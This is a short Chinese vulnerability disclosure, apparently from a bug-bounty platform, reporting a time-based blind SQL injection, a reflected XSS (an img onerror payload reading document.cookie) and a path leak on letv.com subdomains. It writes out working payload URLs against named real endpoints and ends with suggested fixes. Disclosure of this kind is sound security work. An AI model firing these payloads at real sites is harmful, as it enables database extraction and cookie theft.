注射点位于(参数ID):

http://joyearcars2014happy.hz.letv.com/php/votenum.php?callback=jQuery171017738118954002857_1408792927555&id=1&_=1408792945702

反射型XSS位于：

http://address.shop.letv.com/api/web/insert/insUserAddress.jsonp?callback=callback__%3Cimg%20src=aaaa%20onerror=alert(document.cookie)%3E&

绝对路径泄漏位于：

http://joyearcars2014happy.hz.letv.com/php/joyearcar.php?callback=aaaa&username=

Notice: Undefined index: tel in /letv/joyearcars2014happy.hz.letv.com/php/joyearcar.php on line 11

测试过程

http://joyearcars2014happy.hz.letv.com/php/votenum.php?callback=jQuery171017738118954002857_1408792927555&id=if(length(user())>22,sleep(1),0)&_=1408792945702

可猜解当前连接用户的长度为23。

我只猜解了第一个字母的ASCII码为50，字母“2”：

http://joyearcars2014happy.hz.letv.com/php/votenum.php?callback=jQuery171017738118954002857_1408792927555&id=if(ascii(mid(user(),1,1))=50,sleep(1),2)--&_=1408792945702

非root,未进一步利用。
 

修复方案：

解决SQL注射

编码callback

不显示详细错误信息